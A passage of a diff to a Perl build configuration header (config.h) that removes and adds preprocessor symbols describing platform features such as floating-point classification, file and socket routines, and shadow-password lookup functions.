+ * FP_SNAN signaling NaN + * FP_QNAN quiet NaN + * FP_NINF negative infinity + * FP_PINF positive infinity + * FP_NDENORM negative denormalized non-zero + * FP_PDENORM positive denormalized non-zero + * FP_NZERO negative zero + * FP_PZERO positive zero + * FP_NNORM negative normalized non-zero + * FP_PNORM positive normalized non-zero */ -/*#define I_MALLOCMALLOC / **/ +/*#define HAS_FPCLASS / **/ -/* I_MNTENT: - * This symbol, if defined, indicates that exists and - * should be included. +/* HAS_FPCLASSIFY: + * This symbol, if defined, indicates that the fpclassify routine is + * available to classify doubles. Available for example in HP-UX. + * The returned values are defined in and are + * + * FP_NORMAL Normalized + * FP_ZERO Zero + * FP_INFINITE Infinity + * FP_SUBNORMAL Denormalized + * FP_NAN NaN + * */ -#define I_MNTENT /**/ +/*#define HAS_FPCLASSIFY / **/ -/* I_NETINET_TCP: - * This symbol, if defined, indicates to the C program that it should - * include . +/* HAS_FPCLASSL: + * This symbol, if defined, indicates that the fpclassl routine is + * available to classify long doubles. Available for example in IRIX. + * The returned values are defined in and are: + * + * FP_SNAN signaling NaN + * FP_QNAN quiet NaN + * FP_NINF negative infinity + * FP_PINF positive infinity + * FP_NDENORM negative denormalized non-zero + * FP_PDENORM positive denormalized non-zero + * FP_NZERO negative zero + * FP_PZERO positive zero + * FP_NNORM negative normalized non-zero + * FP_PNORM positive normalized non-zero */ -#define I_NETINET_TCP /**/ +/*#define HAS_FPCLASSL / **/ -/* I_POLL: - * This symbol, if defined, indicates that exists and - * should be included. (see also HAS_POLL) +/* HAS_FPOS64_T: + * This symbol will be defined if the C compiler supports fpos64_t. */ -#define I_POLL /**/ +/*#define HAS_FPOS64_T / **/ -/* I_PROT: - * This symbol, if defined, indicates that exists and - * should be included. +/* HAS_FREXPL: + * This symbol, if defined, indicates that the frexpl routine is + * available to break a long double floating-point number into + * a normalized fraction and an integral power of 2. */ -/*#define I_PROT / **/ +#define HAS_FREXPL /**/ -/* I_QUADMATH: - * This symbol, if defined, indicates that exists and - * should be included. +/* HAS_STRUCT_FS_DATA: + * This symbol, if defined, indicates that the struct fs_data + * to do statfs() is supported. */ -#define I_QUADMATH /**/ +/*#define HAS_STRUCT_FS_DATA / **/ -/* I_SHADOW: - * This symbol, if defined, indicates that exists and - * should be included. +/* HAS_FSEEKO: + * This symbol, if defined, indicates that the fseeko routine is + * available to fseek beyond 32 bits (useful for ILP32 hosts). */ -#define I_SHADOW /**/ +#define HAS_FSEEKO /**/ -/* I_SOCKS: - * This symbol, if defined, indicates that exists and - * should be included. +/* HAS_FSTATFS: + * This symbol, if defined, indicates that the fstatfs routine is + * available to stat filesystems by file descriptors. */ -/*#define I_SOCKS / **/ +#define HAS_FSTATFS /**/ -/* I_STDBOOL: - * This symbol, if defined, indicates that exists and - * can be included. +/* HAS_FSYNC: + * This symbol, if defined, indicates that the fsync routine is + * available to write a file's modified data and attributes to + * permanent storage. */ -#define I_STDBOOL /**/ +#define HAS_FSYNC /**/ -/* I_STDINT: - * This symbol, if defined, indicates that exists and - * should be included. +/* HAS_FTELLO: + * This symbol, if defined, indicates that the ftello routine is + * available to ftell beyond 32 bits (useful for ILP32 hosts). */ -#define I_STDINT /**/ +#define HAS_FTELLO /**/ -/* I_SUNMATH: - * This symbol, if defined, indicates that exists and - * should be included. +/* HAS_FUTIMES: + * This symbol, if defined, indicates that the futimes routine is + * available to change file descriptor time stamps with struct timevals. */ -/*#define I_SUNMATH / **/ +#define HAS_FUTIMES /**/ -/* I_SYSLOG: - * This symbol, if defined, indicates that exists and - * should be included. +/* HAS_GETADDRINFO: + * This symbol, if defined, indicates that the getaddrinfo() function + * is available for use. */ -#define I_SYSLOG /**/ +#define HAS_GETADDRINFO /**/ -/* I_SYSMODE: - * This symbol, if defined, indicates that exists and - * should be included. +/* HAS_GETCWD: + * This symbol, if defined, indicates that the getcwd routine is + * available to get the current working directory. */ -/*#define I_SYSMODE / **/ +#define HAS_GETCWD /**/ -/* I_SYS_MOUNT: - * This symbol, if defined, indicates that exists and - * should be included. +/* HAS_GETESPWNAM: + * This symbol, if defined, indicates that the getespwnam system call is + * available to retrieve enhanced (shadow) password entries by name. */ -#define I_SYS_MOUNT /**/ +/*#define HAS_GETESPWNAM / **/ -/* I_SYS_STATFS: - * This symbol, if defined, indicates that exists. +/* HAS_GETFSSTAT: + * This symbol, if defined, indicates that the getfsstat routine is + * available to stat filesystems in bulk. */ -#define I_SYS_STATFS /**/ +/*#define HAS_GETFSSTAT / **/ -/* I_SYS_STATVFS: - * This symbol, if defined, indicates that exists and - * should be included. +/* HAS_GETITIMER: + * This symbol, if defined, indicates that the getitimer routine is + * available to return interval timers. */ -#define I_SYS_STATVFS /**/ +#define HAS_GETITIMER /**/ -/* I_SYSUTSNAME: - * This symbol, if defined, indicates that exists and - * should be included. +/* HAS_GETMNT: + * This symbol, if defined, indicates that the getmnt routine is + * available to get filesystem mount info by filename. */ -#define I_SYSUTSNAME /**/ +/*#define HAS_GETMNT / **/ -/* I_SYS_VFS: - * This symbol, if defined, indicates that exists and - * should be included. +/* HAS_GETMNTENT: + * This symbol, if defined, indicates that the getmntent routine is + * available to iterate through mounted file systems to get their info. */ -#define I_SYS_VFS /**/ +#define HAS_GETMNTENT /**/ -/* I_USTAT: - * This symbol, if defined, indicates that exists and - * should be included. +/* HAS_GETNAMEINFO: + * This symbol, if defined, indicates that the getnameinfo() function + * is available for use. */ -#define I_USTAT /**/ +#define HAS_GETNAMEINFO /**/ -/* I_WCHAR: - * This symbol, if defined, indicates to the C program that - * is available for inclusion +/* HAS_GETPRPWNAM: + * This symbol, if defined, indicates that the getprpwnam system call is + * available to retrieve protected (shadow) password entries by name. */ -#define I_WCHAR /**/ +/*#define HAS_GETPRPWNAM / **/ -/* DOUBLEINFBYTES: - * This symbol, if defined, is a comma-separated list of - * hexadecimal bytes for the double precision infinity. - */ -/* DOUBLENANBYTES: - * This symbol, if defined, is a comma-separated list of - * hexadecimal bytes (0xHH) for the double precision not-a-number. - */ -/* LONGDBLINFBYTES: - * This symbol, if defined, is a comma-separated list of - * hexadecimal bytes for the long double precision infinity. - */ -/* LONGDBLNANBYTES: - * This symbol, if defined, is a comma-separated list of - * hexadecimal bytes (0xHH) for the long double precision not-a-number. +/* HAS_GETSPNAM: + * This symbol, if defined, indicates that the getspnam system call is + * available to retrieve SysV shadow password entries by name. */ -#define DOUBLEINFBYTES 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf0, 0x7f /**/ -#define DOUBLENANBYTES 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf8, 0xff /**/ -#define LONGDBLINFBYTES 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 /**/ -#define LONGDBLNANBYTES 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0xff, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 /**/ +#define HAS_GETSPNAM /**/ -/* PERL_PRIfldbl: - * This symbol, if defined, contains the string used by stdio to - * format long doubles (format 'f') for output. - */ -/* PERL_PRIgldbl: - * This symbol, if defined, contains the string used by stdio to - * format long doubles (format 'g') for output. - */ -/* PERL_PRIeldbl: - * This symbol, if defined, contains the string used by stdio to - * format long doubles (format 'e') for output. - */ -/* PERL_SCNfldbl: - * This symbol, if defined, contains the string used by stdio to - * format long doubles (format 'f') for input. +/* HAS_HASMNTOPT: + * This symbol, if defined, indicates that the hasmntopt routine is + * available to query the mount options of file systems. */ -/* DOUBLEKIND: - * DOUBLEKIND will be one of - * DOUBLE_IS_IEEE_754_32_BIT_LITTLE_ENDIAN - * DOUBLE_IS_IEEE_754_32_BIT_BIG_ENDIAN - * DOUBLE_IS_IEEE_754_64_BIT_LITTLE_ENDIAN - * DOUBLE_IS_IEEE_754_64_BIT_BIG_ENDIAN - * DOUBLE_IS_IEEE_754_128_BIT_LITTLE_ENDIAN - * DOUBLE_IS_IEEE_754_128_BIT_BIG_ENDIAN - * DOUBLE_IS_IEEE_754_64_BIT_MIXED_ENDIAN_LE_BE - * DOUBLE_IS_IEEE_754_64_BIT_MIXED_ENDIAN_BE_LE - * DOUBLE_IS_VAX_F_FLOAT - * DOUBLE_IS_VAX_D_FLOAT - * DOUBLE_IS_VAX_G_FLOAT - * DOUBLE_IS_IBM_SINGLE_32_BIT - * DOUBLE_IS_IBM_DOUBLE_64_BIT - * DOUBLE_IS_CRAY_SINGLE_64_BIT - * DOUBLE_IS_UNKNOWN_FORMAT - */ -/* DOUBLE_HAS_INF: - * This symbol, if defined, indicates that the double has - * the infinity. - */ -/* DOUBLE_HAS_NAN: - * This symbol, if defined, indicates that the double has - * the not-a-number. - */ -/* DOUBLE_HAS_NEGATIVE_ZERO: - * This symbol, if defined, indicates that the double has - * the negative_zero. - */ -/* DOUBLE_HAS_SUBNORMALS: - * This symbol, if defined, indicates that the double has - * the subnormals (denormals). - */ -/* DOUBLE_STYLE_CRAY: - * This symbol, if defined, indicates that the double is - * the 64-bit CRAY mainframe format. - */ -/* DOUBLE_STYLE_IBM: - * This symbol, if defined, indicates that the double is - * the 64-bit IBM mainframe format. - */ -/* DOUBLE_STYLE_IEEE: - * This symbol, if defined, indicates that the double is - * the 64-bit IEEE 754. - */ -/* DOUBLE_STYLE_VAX: - * This symbol, if defined, indicates that the double is - * the 64-bit VAX format D or G. - */ -#define DOUBLEKIND 3 /**/ -#define DOUBLE_IS_IEEE_754_32_BIT_LITTLE_ENDIAN 1 -#define DOUBLE_IS_IEEE_754_32_BIT_BIG_ENDIAN 2 -#define DOUBLE_IS_IEEE_754_64_BIT_LITTLE_ENDIAN 3 -#define DOUBLE_IS_IEEE_754_64_BIT_BIG_ENDIAN 4 -#define DOUBLE_IS_IEEE_754_128_BIT_LITTLE_ENDIAN 5 -#define DOUBLE_IS_IEEE_754_128_BIT_BIG_ENDIAN 6 -#define DOUBLE_IS_IEEE_754_64_BIT_MIXED_ENDIAN_LE_BE 7 -#define DOUBLE_IS_IEEE_754_64_BIT_MIXED_ENDIAN_BE_LE 8 -#define DOUBLE_IS_VAX_F_FLOAT 9 -#define DOUBLE_IS_VAX_D_FLOAT 10 -#define DOUBLE_IS_VAX_G_FLOAT 11 -#define DOUBLE_IS_IBM_SINGLE_32_BIT 12 -#define DOUBLE_IS_IBM_DOUBLE_64_BIT 13 -#define DOUBLE_IS_CRAY_SINGLE_64_BIT 14 -#define DOUBLE_IS_UNKNOWN_FORMAT -1 -#define PERL_PRIfldbl "Lf" /**/ -#define PERL_PRIgldbl "Lg" /**/ -#define PERL_PRIeldbl "Le" /**/ -#define PERL_SCNfldbl "Lf" /**/ -#define DOUBLE_HAS_INF -#define DOUBLE_HAS_NAN -#define DOUBLE_HAS_NEGATIVE_ZERO -#define DOUBLE_HAS_SUBNORMALS -#undef DOUBLE_STYLE_CRAY -#undef DOUBLE_STYLE_IBM -#define DOUBLE_STYLE_IEEE -#undef DOUBLE_STYLE_VAX - -/* DOUBLEMANTBITS: - * This symbol, if defined, tells how many mantissa bits - * there are in double precision floating point format. - * Note that this is usually DBL_MANT_DIG minus one, since - * with the standard IEEE 754 formats DBL_MANT_DIG includes - * the implicit bit, which doesn't really exist. - */ -/* LONGDBLMANTBITS: - * This symbol, if defined, tells how many mantissa bits - * there are in long double precision floating point format. - * Note that this can be LDBL_MANT_DIG minus one, - * since LDBL_MANT_DIG can include the IEEE 754 implicit bit. - * The common x86-style 80-bit long double does not have - * an implicit bit. - */ -/* NVMANTBITS: - * This symbol, if defined, tells how many mantissa bits - * (not including implicit bit) there are in a Perl NV. - * This depends on which floating point type was chosen. - */ -#define DOUBLEMANTBITS 52 -#define LONGDBLMANTBITS 64 -#define NVMANTBITS 52 +#define HAS_HASMNTOPT /**/ -/* NEED_VA_COPY: - * This symbol, if defined, indicates that the system stores - * the variable argument list datatype, va_list, in a format - * that cannot be copied by simple assignment, so that some - * other means must be used when copying is required. - * As such systems vary in their provision (or non-provision) - * of copying mechanisms, handy.h defines a platform- - * independent macro, Perl_va_copy(src, dst), to do the job. +/* HAS_ILOGBL: + * This symbol, if defined, indicates that the ilogbl routine is + * available. If scalbnl is also present we can emulate frexpl. */ -#define NEED_VA_COPY /**/ +#define HAS_ILOGBL /**/ -/* IVTYPE: - * This symbol defines the C type used for Perl's IV. - */ -/* UVTYPE: - * This symbol defines the C type used for Perl's UV. - */ -/* I8TYPE: - * This symbol defines the C type used for Perl's I8. - */ -/* U8TYPE: - * This symbol defines the C type used for Perl's U8. - */ -/* I16TYPE: - * This symbol defines the C type used for Perl's I16. - */ -/* U16TYPE: - * This symbol defines the C type used for Perl's U16. - */ -/* I32TYPE: - * This symbol defines the C type used for Perl's I32. - */ -/* U32TYPE: - * This symbol defines the C type used for Perl's U32. - */ -/* I64TYPE: - * This symbol defines the C type used for Perl's I64. - */ -/* U64TYPE: - * This symbol defines the C type used for Perl's U64. - */ -/* NVTYPE: - * This symbol defines the C type used for Perl's NV. - */ -/* IVSIZE: - * This symbol contains the sizeof(IV). - */ -/* UVSIZE: - * This symbol contains the sizeof(UV). - */ -/* I8SIZE: - * This symbol contains the sizeof(I8). - */ -/* U8SIZE: - * This symbol contains the sizeof(U8). - */ -/* I16SIZE: - * This symbol contains the sizeof(I16). - */ -/* U16SIZE: - * This symbol contains the sizeof(U16). - */ -/* I32SIZE: - * This symbol contains the sizeof(I32). - */ -/* U32SIZE: - * This symbol contains the sizeof(U32). - */ -/* I64SIZE: - * This symbol contains the sizeof(I64). - */ -/* U64SIZE: - * This symbol contains the sizeof(U64). - */ -/* NVSIZE: - * This symbol contains the sizeof(NV). - * Note that some floating point formats have unused bytes. - * The most notable example is the x86* 80-bit extended precision - * which comes in byte sizes of 12 and 16 (for 32 and 64 bit - * platforms, respectively), but which only uses 10 bytes. - * Perl compiled with -Duselongdouble on x86* is like this. - */ -/* NV_PRESERVES_UV: - * This symbol, if defined, indicates that a variable of type NVTYPE - * can preserve all the bits of a variable of type UVTYPE. - */ -/* NV_PRESERVES_UV_BITS: - * This symbol contains the number of bits a variable of type NVTYPE - * can preserve of a variable of type UVTYPE. +/* HAS_INETNTOP: + * This symbol, if defined, indicates that the inet_ntop() function + * is available to parse IPv4 and IPv6 strings. */ -/* NV_OVERFLOWS_INTEGERS_AT: - * This symbol gives the largest integer value that NVs can hold. This - * value + 1.0 cannot be stored accurately. It is expressed as constant - * floating point expression to reduce the chance of decimal/binary - * conversion issues. If it can not be determined, the value 0 is given. +#define HAS_INETNTOP /**/ + +/* HAS_INETPTON: + * This symbol, if defined, indicates that the inet_pton() function + * is available to parse IPv4 and IPv6 strings. */ -/* NV_ZERO_IS_ALLBITS_ZERO: - * This symbol, if defined, indicates that a variable of type NVTYPE - * stores 0.0 in memory as all bits zero. +#define HAS_INETPTON /**/ + +/* HAS_INT64_T: + * This symbol will defined if the C compiler supports int64_t. + * Usually the needs to be included, but sometimes + * is enough. */ -#define IVTYPE long /**/ -#define UVTYPE unsigned long /**/ -#define I8TYPE signed char /**/ -#define U8TYPE unsigned char /**/ -#define I16TYPE short /**/ -#define U16TYPE unsigned short /**/ -#define I32TYPE int /**/ -#define U32TYPE unsigned int /**/ -#ifdef HAS_QUAD -#define I64TYPE long /**/ -#define U64TYPE unsigned long /**/ -#endif -#define NVTYPE double /**/ -#define IVSIZE 8 /**/ -#define UVSIZE 8 /**/ -#define I8SIZE 1 /**/ -#define U8SIZE 1 /**/ -#define I16SIZE 2 /**/ -#define U16SIZE 2 /**/ -#define I32SIZE 4 /**/ -#define U32SIZE 4 /**/ -#ifdef HAS_QUAD -#define I64SIZE 8 /**/ -#define U64SIZE 8 /**/ -#endif -#define NVSIZE 8 /**/ -#undef NV_PRESERVES_UV -#define NV_PRESERVES_UV_BITS 53 -#define NV_OVERFLOWS_INTEGERS_AT (256.0*256.0*256.0*256.0*256.0*256.0*2.0*2.0*2.0*2.0*2.0) -#define NV_ZERO_IS_ALLBITS_ZERO -#if UVSIZE == 8 -# ifdef BYTEORDER -# if BYTEORDER == 0x1234 -# undef BYTEORDER -# define BYTEORDER 0x12345678 -# else -# if BYTEORDER == 0x4321 -# undef BYTEORDER -# define BYTEORDER 0x87654321 -# endif -# endif -# endif -#endif +#define HAS_INT64_T /**/ -/* IVdf: - * This symbol defines the format string used for printing a Perl IV - * as a signed decimal integer. +/* HAS_ISFINITE: + * This symbol, if defined, indicates that the isfinite routine is + * available to check whether a double is finite (non-infinity non-NaN). */ -/* UVuf: - * This symbol defines the format string used for printing a Perl UV - * as an unsigned decimal integer. +/*#define HAS_ISFINITE / **/ + +/* HAS_ISINF: + * This symbol, if defined, indicates that the isinf routine is + * available to check whether a double is an infinity. */ -/* UVof: - * This symbol defines the format string used for printing a Perl UV - * as an unsigned octal integer. +#define HAS_ISINF /**/ + +/* HAS_ISNAN: + * This symbol, if defined, indicates that the isnan routine is + * available to check whether a double is a NaN. */ -/* UVxf: - * This symbol defines the format string used for printing a Perl UV - * as an unsigned hexadecimal integer in lowercase abcdef. +#define HAS_ISNAN /**/ + +/* HAS_ISNANL: + * This symbol, if defined, indicates that the isnanl routine is + * available to check whether a long double is a NaN. */ -/* UVXf: - * This symbol defines the format string used for printing a Perl UV - * as an unsigned hexadecimal integer in uppercase ABCDEF. +#define HAS_ISNANL /**/ + +/* HAS_LDBL_DIG: + * This symbol, if defined, indicates that this system's + * or defines the symbol LDBL_DIG, which is the number + * of significant digits in a long double precision number. Unlike + * for DBL_DIG, there's no good guess for LDBL_DIG if it is undefined. */ -/* NVef: - * This symbol defines the format string used for printing a Perl NV - * using %e-ish floating point format. +#define HAS_LDBL_DIG /* */ + +/* LIBM_LIB_VERSION: + * This symbol, if defined, indicates that libm exports _LIB_VERSION + * and that math.h defines the enum to manipulate it. */ -/* NVff: - * This symbol defines the format string used for printing a Perl NV - * using %f-ish floating point format. +#define LIBM_LIB_VERSION /**/ + +/* HAS_MADVISE: + * This symbol, if defined, indicates that the madvise system call is + * available to map a file into memory. */ -/* NVgf: - * This symbol defines the format string used for printing a Perl NV - * using %g-ish floating point format. +#define HAS_MADVISE /**/ + +/* HAS_MALLOC_SIZE: + * This symbol, if defined, indicates that the malloc_size + * routine is available for use. */ -#define IVdf "ld" /**/ -#define UVuf "lu" /**/ -#define UVof "lo" /**/ -#define UVxf "lx" /**/ -#define UVXf "lX" /**/ -#define NVef "e" /**/ -#define NVff "f" /**/ -#define NVgf "g" /**/ +/*#define HAS_MALLOC_SIZE / **/ -/* SELECT_MIN_BITS: - * This symbol holds the minimum number of bits operated by select. - * That is, if you do select(n, ...), how many bits at least will be - * cleared in the masks if some activity is detected. Usually this - * is either n or 32*ceil(n/32), especially many little-endians do - * the latter. This is only useful if you have select(), naturally. +/* HAS_MALLOC_GOOD_SIZE: + * This symbol, if defined, indicates that the malloc_good_size + * routine is available for use. */ -#define SELECT_MIN_BITS 64 /**/ +/*#define HAS_MALLOC_GOOD_SIZE / **/ -/* ST_INO_SIZE: - * This variable contains the size of struct stat's st_ino in bytes. +/* HAS_MKDTEMP: + * This symbol, if defined, indicates that the mkdtemp routine is + * available to exclusively create a uniquely named temporary directory. */ -/* ST_INO_SIGN: - * This symbol holds the signedness of struct stat's st_ino. - * 1 for unsigned, -1 for signed. +#define HAS_MKDTEMP /**/ + +/* HAS_MKSTEMPS: + * This symbol, if defined, indicates that the mkstemps routine is + * available to exclusively create and open a uniquely named + * (with a suffix) temporary file. */ -#define ST_INO_SIGN 1 /* st_ino sign */ -#define ST_INO_SIZE 8 /* st_ino size */ +#define HAS_MKSTEMPS /**/ -/* STARTPERL: - * This variable contains the string to put in front of a perl - * script to make sure (one hopes) that it runs with perl and not - * some shell. +/* HAS_MODFL: + * This symbol, if defined, indicates that the modfl routine is + * available to split a long double x into a fractional part f and + * an integer part i such that |f| < 1.0 and (f + i) = x. + */ +/* HAS_MODFL_PROTO: + * This symbol, if defined, indicates that the system provides + * a prototype for the modfl() function. Otherwise, it is up + * to the program to supply one. */ -#define STARTPERL "#!/opt/perl/bin/perl5.29.0" /**/ +#define HAS_MODFL /**/ +#define HAS_MODFL_PROTO /**/ -/* HAS_STDIO_STREAM_ARRAY: - * This symbol, if defined, tells that there is an array - * holding the stdio streams. +/* HAS_MPROTECT: + * This symbol, if defined, indicates that the mprotect system call is + * available to modify the access protection of a memory mapped file. */ -/* STDIO_STREAM_ARRAY: - * This symbol tells the name of the array holding the stdio streams. - * Usual values include _iob, __iob, and __sF. +#define HAS_MPROTECT /**/ + +/* HAS_STRUCT_MSGHDR: + * This symbol, if defined, indicates that the struct msghdr + * is supported. */ -/*#define HAS_STDIO_STREAM_ARRAY / **/ -#ifdef HAS_STDIO_STREAM_ARRAY -#define STDIO_STREAM_ARRAY -#endif +#define HAS_STRUCT_MSGHDR /**/ -/* GMTIME_MAX: - * This symbol contains the maximum value for the time_t offset that - * the system function gmtime () accepts, and defaults to 0 +/* HAS_NL_LANGINFO: + * This symbol, if defined, indicates that the nl_langinfo routine is + * available to return local data. You will also need + * and therefore I_LANGINFO. */ -/* GMTIME_MIN: - * This symbol contains the minimum value for the time_t offset that - * the system function gmtime () accepts, and defaults to 0 +#define HAS_NL_LANGINFO /**/ + +/* HAS_OFF64_T: + * This symbol will be defined if the C compiler supports off64_t. */ -/* LOCALTIME_MAX: - * This symbol contains the maximum value for the time_t offset that - * the system function localtime () accepts, and defaults to 0 +/*#define HAS_OFF64_T / **/ + +/* HAS_PRCTL: + * This symbol, if defined, indicates that the prctl routine is + * available to set process title. */ -/* LOCALTIME_MIN: - * This symbol contains the minimum value for the time_t offset that - * the system function localtime () accepts, and defaults to 0 +/* HAS_PRCTL_SET_NAME: + * This symbol, if defined, indicates that the prctl routine is + * available to set process title and supports PR_SET_NAME. */ -#define GMTIME_MAX 67768036191676799 /**/ -#define GMTIME_MIN -62167219200 /**/ -#define LOCALTIME_MAX 67768036191676799 /**/ -#define LOCALTIME_MIN -62167219125 /**/ +#define HAS_PRCTL /**/ +#define HAS_PRCTL_SET_NAME /**/ -/* USE_64_BIT_INT: - * This symbol, if defined, indicates that 64-bit integers should - * be used when available. If not defined, the native integers - * will be employed (be they 32 or 64 bits). The minimal possible - * 64-bitness is used, just enough to get 64-bit integers into Perl. - * This may mean using for example "long longs", while your memory - * may still be limited to 2 gigabytes. +/* HAS_PROCSELFEXE: + * This symbol is defined if PROCSELFEXE_PATH is a symlink + * to the absolute pathname of the executing program. */ -/* USE_64_BIT_ALL: - * This symbol, if defined, indicates that 64-bit integers should - * be used when available. If not defined, the native integers - * will be used (be they 32 or 64 bits). The maximal possible - * 64-bitness is employed: LP64 or ILP64, meaning that you will - * be able to use more than 2 gigabytes of memory. This mode is - * even more binary incompatible than USE_64_BIT_INT. You may not - * be able to run the resulting executable in a 32-bit CPU at all or - * you may need at least to reboot your OS to 64-bit mode. +/* PROCSELFEXE_PATH: + * If HAS_PROCSELFEXE is defined this symbol is the filename + * of the symbolic link pointing to the absolute pathname of + * the executing program. */ -#ifndef USE_64_BIT_INT -#define USE_64_BIT_INT /**/ -#endif -#ifndef USE_64_BIT_ALL -#define USE_64_BIT_ALL /**/ +#define HAS_PROCSELFEXE /**/ +#if defined(HAS_PROCSELFEXE) && !defined(PROCSELFEXE_PATH) +#define PROCSELFEXE_PATH "/proc/self/exe" /**/ #endif -/* USE_CBACKTRACE: - * This symbol, if defined, indicates that Perl should - * be built with support for backtrace. +/* HAS_PTHREAD_ATTR_SETSCOPE: + * This symbol, if defined, indicates that the pthread_attr_setscope + * system call is available to set the contention scope attribute of + * a thread attribute object. */ -/*#define USE_CBACKTRACE / **/ +#define HAS_PTHREAD_ATTR_SETSCOPE /**/ -/* USE_DTRACE: - * This symbol, if defined, indicates that Perl should - * be built with support for DTrace. +/* HAS_READV: + * This symbol, if defined, indicates that the readv routine is + * available to do gather reads. You will also need + * and there I_SYSUIO. */ -/*#define USE_DTRACE / **/ +#define HAS_READV /**/ -/* USE_FAST_STDIO: - * This symbol, if defined, indicates that Perl should - * be built to use 'fast stdio'. - * Defaults to define in Perls 5.8 and earlier, to undef later. +/* HAS_RECVMSG: + * This symbol, if defined, indicates that the recvmsg routine is + * available to send structured socket messages. */ -#ifndef USE_FAST_STDIO -/*#define USE_FAST_STDIO / **/ -#endif +#define HAS_RECVMSG /**/ -/* USE_KERN_PROC_PATHNAME: - * This symbol, if defined, indicates that we can use sysctl with - * KERN_PROC_PATHNAME to get a full path for the executable, and hence - * convert $^X to an absolute path. +/* HAS_SBRK_PROTO: + * This symbol, if defined, indicates that the system provides + * a prototype for the sbrk() function. Otherwise, it is up + * to the program to supply one. Good guesses are + * extern void* sbrk(int); + * extern void* sbrk(size_t); */ -/*#define USE_KERN_PROC_PATHNAME / **/ +#define HAS_SBRK_PROTO /**/ -/* USE_LARGE_FILES: - * This symbol, if defined, indicates that large file support - * should be used when available. +/* HAS_SCALBNL: + * This symbol, if defined, indicates that the scalbnl routine is + * available. If ilogbl is also present we can emulate frexpl. */ -#ifndef USE_LARGE_FILES -#define USE_LARGE_FILES /**/ -#endif +#define HAS_SCALBNL /**/ -/* USE_LONG_DOUBLE: - * This symbol, if defined, indicates that long doubles should - * be used when available. +/* HAS_SENDMSG: + * This symbol, if defined, indicates that the sendmsg routine is + * available to send structured socket messages. */ -#ifndef USE_LONG_DOUBLE -/*#define USE_LONG_DOUBLE / **/ -#endif +#define HAS_SENDMSG /**/ -/* USE_MORE_BITS: - * This symbol, if defined, indicates that 64-bit interfaces and - * long doubles should be used when available. +/* HAS_SETITIMER: + * This symbol, if defined, indicates that the setitimer routine is + * available to set interval timers. */ -#ifndef USE_MORE_BITS -/*#define USE_MORE_BITS / **/ -#endif +#define HAS_SETITIMER /**/ -/* MULTIPLICITY: - * This symbol, if defined, indicates that Perl should - * be built to use multiplicity. +/* HAS_SETPROCTITLE: + * This symbol, if defined, indicates that the setproctitle routine is + * available to set process title. */ -#ifndef MULTIPLICITY -/*#define MULTIPLICITY / **/ -#endif +/*#define HAS_SETPROCTITLE / **/ + +/* HAS_SIGNBIT: + * This symbol, if defined, indicates that the signbit routine is + * available to check if the given number has the sign bit set. + * This should include correct testing of -0.0. This will only be set + * if the signbit() routine is safe to use with the NV type used internally + * in perl. Users should call Perl_signbit(), which will be #defined to + * the system's signbit() function or macro if this symbol is defined. + */ +#define HAS_SIGNBIT /**/ -/* USE_NSGETEXECUTABLEPATH: - * This symbol, if defined, indicates that we can use _NSGetExecutablePath - * and realpath to get a full path for the executable, and hence convert - * $^X to an absolute path. +/* HAS_SIGPROCMASK: + * This symbol, if defined, indicates that the sigprocmask + * system call is available to examine or change the signal mask + * of the calling process. */ -/*#define USE_NSGETEXECUTABLEPATH / **/ +#define HAS_SIGPROCMASK /**/ -/* USE_PERLIO: - * This symbol, if defined, indicates that the PerlIO abstraction should - * be used throughout. If not defined, stdio should be - * used in a fully backward compatible manner. +/* USE_SITECUSTOMIZE: + * This symbol, if defined, indicates that sitecustomize should + * be used. */ -#ifndef USE_PERLIO -#define USE_PERLIO /**/ +#ifndef USE_SITECUSTOMIZE +/*#define USE_SITECUSTOMIZE / **/ #endif -/* USE_QUADMATH: - * This symbol, if defined, indicates that the quadmath library should - * be used when available. +/* HAS_SNPRINTF: + * This symbol, if defined, indicates that the snprintf () library + * function is available for use. */ -#ifndef USE_QUADMATH -/*#define USE_QUADMATH / **/ -#endif +/* HAS_VSNPRINTF: + * This symbol, if defined, indicates that the vsnprintf () library + * function is available for use. + */ +#define HAS_SNPRINTF /**/ +#define HAS_VSNPRINTF /**/ -/* USE_SOCKS: - * This symbol, if defined, indicates that Perl should - * be built to use socks. +/* HAS_SOCKATMARK: + * This symbol, if defined, indicates that the sockatmark routine is + * available to test whether a socket is at the out-of-band mark. */ -#ifndef USE_SOCKS -/*#define USE_SOCKS / **/ -#endif +#define HAS_SOCKATMARK /**/ -/* HAS_DRAND48_PROTO: +/* HAS_SOCKATMARK_PROTO: * This symbol, if defined, indicates that the system provides - * a prototype for the drand48() function. Otherwise, it is up + * a prototype for the sockatmark() function. Otherwise, it is up * to the program to supply one. A good guess is - * extern double drand48(void); + * extern int sockatmark(int); */ -#define HAS_DRAND48_PROTO /**/ +#define HAS_SOCKATMARK_PROTO /**/ -/* HAS_GETHOST_PROTOS: - * This symbol, if defined, indicates that includes - * prototypes for gethostent(), gethostbyname(), and - * gethostbyaddr(). Otherwise, it is up to the program to guess - * them. See netdbtype.U for probing for various Netdb_xxx_t types. +/* HAS_SOCKS5_INIT: + * This symbol, if defined, indicates that the socks5_init routine is + * available to initialize SOCKS 5. */ -#define HAS_GETHOST_PROTOS /**/ +/*#define HAS_SOCKS5_INIT / **/ -/* HAS_GETNET_PROTOS: - * This symbol, if defined, indicates that includes - * prototypes for getnetent(), getnetbyname(), and - * getnetbyaddr(). Otherwise, it is up to the program to guess - * them. See netdbtype.U for probing for various Netdb_xxx_t types. +/* SPRINTF_RETURNS_STRLEN: + * This variable defines whether sprintf returns the length of the string + * (as per the ANSI spec). Some C libraries retain compatibility with + * pre-ANSI C and return a pointer to the passed in buffer; for these + * this variable will be undef. */ -#define HAS_GETNET_PROTOS /**/ +#define SPRINTF_RETURNS_STRLEN /**/ -/* HAS_GETPROTO_PROTOS: - * This symbol, if defined, indicates that includes - * prototypes for getprotoent(), getprotobyname(), and - * getprotobyaddr(). Otherwise, it is up to the program to guess - * them. See netdbtype.U for probing for various Netdb_xxx_t types. +/* HAS_SQRTL: + * This symbol, if defined, indicates that the sqrtl routine is + * available to do long double square roots. */ -#define HAS_GETPROTO_PROTOS /**/ +#define HAS_SQRTL /**/ -/* HAS_GETSERV_PROTOS: - * This symbol, if defined, 